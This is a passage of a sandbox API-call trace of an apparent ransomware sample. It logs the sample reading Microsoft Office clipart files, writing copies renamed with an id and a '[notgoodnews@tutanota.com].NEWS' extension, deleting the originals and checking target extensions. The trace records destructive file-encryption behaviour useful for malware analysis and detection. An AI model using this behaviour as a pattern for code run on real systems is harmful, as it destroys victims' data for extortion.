GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0082.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.541] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.541] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.541] GetLastError () returned 0x0 [0082.541] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xda6, lpOverlapped=0x0) returned 1 [0082.543] WriteFile (in: hFile=0x348, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xdb0, lpOverlapped=0x0) returned 1 [0082.544] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.544] WriteFile (in: hFile=0x348, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.544] SetEndOfFile (hFile=0x348) returned 1 [0082.544] CloseHandle (hObject=0x348) returned 1 [0082.545] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.545] SetEndOfFile (hFile=0x398) returned 1 [0082.546] CloseHandle (hObject=0x398) returned 1 [0082.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0082.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.547] lstrlenW (lpString=".doc") returned 4 [0082.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.547] lstrlenW (lpString=".docx") returned 5 [0082.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.547] lstrlenW (lpString=".pdf") returned 4 [0082.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.547] lstrlenW (lpString=".xls") returned 4 [0082.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.547] lstrlenW (lpString=".xlsx") returned 5 [0082.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.547] lstrlenW (lpString=".ppt") returned 4 [0082.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.547] lstrlenW (lpString=".zip") returned 4 [0082.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.547] lstrlenW (lpString=".rar") returned 4 [0082.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.547] lstrlenW (lpString=".bz2") returned 4 [0082.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.547] lstrlenW (lpString=".7z") returned 3 [0082.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.547] lstrlenW (lpString=".dbf") returned 4 [0082.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.547] lstrlenW (lpString=".1cd") returned 4 [0082.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.547] lstrlenW (lpString=".jpg") returned 4 [0082.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.547] lstrlenW (lpString=".doc") returned 4 [0082.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.547] lstrlenW (lpString=".docx") returned 5 [0082.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.548] lstrlenW (lpString=".pdf") returned 4 [0082.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.548] lstrlenW (lpString=".xls") returned 4 [0082.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.548] lstrlenW (lpString=".xlsx") returned 5 [0082.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.548] lstrlenW (lpString=".ppt") returned 4 [0082.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.548] lstrlenW (lpString=".zip") returned 4 [0082.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.548] lstrlenW (lpString=".rar") returned 4 [0082.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.548] lstrlenW (lpString=".bz2") returned 4 [0082.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.548] lstrlenW (lpString=".7z") returned 3 [0082.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.548] lstrlenW (lpString=".dbf") returned 4 [0082.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.548] lstrlenW (lpString=".1cd") returned 4 [0082.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0082.548] lstrlenW (lpString=".jpg") returned 4 [0082.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.548] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.548] lstrlenW (lpString="BS01635_.WMF") returned 12 [0082.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.549] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=14996) returned 1 [0082.549] CloseHandle (hObject=0x398) returned 1 [0082.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0082.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.550] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.550] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.550] GetLastError () returned 0x0 [0082.550] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0082.552] WriteFile (in: hFile=0x348, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0082.553] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.553] WriteFile (in: hFile=0x348, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.553] SetEndOfFile (hFile=0x348) returned 1 [0082.553] CloseHandle (hObject=0x348) returned 1 [0082.554] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.554] SetEndOfFile (hFile=0x398) returned 1 [0082.555] CloseHandle (hObject=0x398) returned 1 [0082.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0082.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.556] lstrlenW (lpString=".doc") returned 4 [0082.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.556] lstrlenW (lpString=".docx") returned 5 [0082.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.556] lstrlenW (lpString=".pdf") returned 4 [0082.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.556] lstrlenW (lpString=".xls") returned 4 [0082.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.556] lstrlenW (lpString=".xlsx") returned 5 [0082.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.557] lstrlenW (lpString=".ppt") returned 4 [0082.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.557] lstrlenW (lpString=".zip") returned 4 [0082.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.557] lstrlenW (lpString=".rar") returned 4 [0082.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.557] lstrlenW (lpString=".bz2") returned 4 [0082.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.557] lstrlenW (lpString=".7z") returned 3 [0082.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.557] lstrlenW (lpString=".dbf") returned 4 [0082.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.557] lstrlenW (lpString=".1cd") returned 4 [0082.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.557] lstrlenW (lpString=".jpg") returned 4 [0082.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.557] lstrlenW (lpString=".doc") returned 4 [0082.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.557] lstrlenW (lpString=".docx") returned 5 [0082.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.557] lstrlenW (lpString=".pdf") returned 4 [0082.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.558] lstrlenW (lpString=".xls") returned 4 [0082.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.558] lstrlenW (lpString=".xlsx") returned 5 [0082.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.558] lstrlenW (lpString=".ppt") returned 4 [0082.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.558] lstrlenW (lpString=".zip") returned 4 [0082.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.558] lstrlenW (lpString=".rar") returned 4 [0082.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.558] lstrlenW (lpString=".bz2") returned 4 [0082.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.558] lstrlenW (lpString=".7z") returned 3 [0082.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.558] lstrlenW (lpString=".dbf") returned 4 [0082.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.558] lstrlenW (lpString=".1cd") returned 4 [0082.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0082.558] lstrlenW (lpString=".jpg") returned 4 [0082.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.558] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.558] lstrlenW (lpString="BS01636_.WMF") returned 12 [0082.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.599] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1874) returned 1 [0082.599] CloseHandle (hObject=0x348) returned 1 [0082.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0082.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.599] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.599] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0082.600] GetLastError () returned 0x0 [0082.600] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x752, lpOverlapped=0x0) returned 1 [0082.601] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x760, lpOverlapped=0x0) returned 1 [0082.602] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.602] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.602] SetEndOfFile (hFile=0x37c) returned 1 [0082.602] CloseHandle (hObject=0x37c) returned 1 [0082.604] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.604] SetEndOfFile (hFile=0x348) returned 1 [0082.605] CloseHandle (hObject=0x348) returned 1 [0082.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0082.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.606] lstrlenW (lpString=".doc") returned 4 [0082.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.606] lstrlenW (lpString=".docx") returned 5 [0082.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.606] lstrlenW (lpString=".pdf") returned 4 [0082.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.606] lstrlenW (lpString=".xls") returned 4 [0082.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.606] lstrlenW (lpString=".xlsx") returned 5 [0082.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.606] lstrlenW (lpString=".ppt") returned 4 [0082.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.606] lstrlenW (lpString=".zip") returned 4 [0082.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.606] lstrlenW (lpString=".rar") returned 4 [0082.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.606] lstrlenW (lpString=".bz2") returned 4 [0082.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.606] lstrlenW (lpString=".7z") returned 3 [0082.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.607] lstrlenW (lpString=".dbf") returned 4 [0082.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.607] lstrlenW (lpString=".1cd") returned 4 [0082.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.607] lstrlenW (lpString=".jpg") returned 4 [0082.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.607] lstrlenW (lpString=".doc") returned 4 [0082.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.607] lstrlenW (lpString=".docx") returned 5 [0082.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.607] lstrlenW (lpString=".pdf") returned 4 [0082.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.607] lstrlenW (lpString=".xls") returned 4 [0082.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.607] lstrlenW (lpString=".xlsx") returned 5 [0082.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.607] lstrlenW (lpString=".ppt") returned 4 [0082.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.607] lstrlenW (lpString=".zip") returned 4 [0082.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.607] lstrlenW (lpString=".rar") returned 4 [0082.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.607] lstrlenW (lpString=".bz2") returned 4 [0082.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.607] lstrlenW (lpString=".7z") returned 3 [0082.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.607] lstrlenW (lpString=".dbf") returned 4 [0082.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.608] lstrlenW (lpString=".1cd") returned 4 [0082.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0082.608] lstrlenW (lpString=".jpg") returned 4 [0082.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.608] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.608] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0082.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.608] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2422) returned 1 [0082.608] CloseHandle (hObject=0x348) returned 1 [0082.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0082.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program 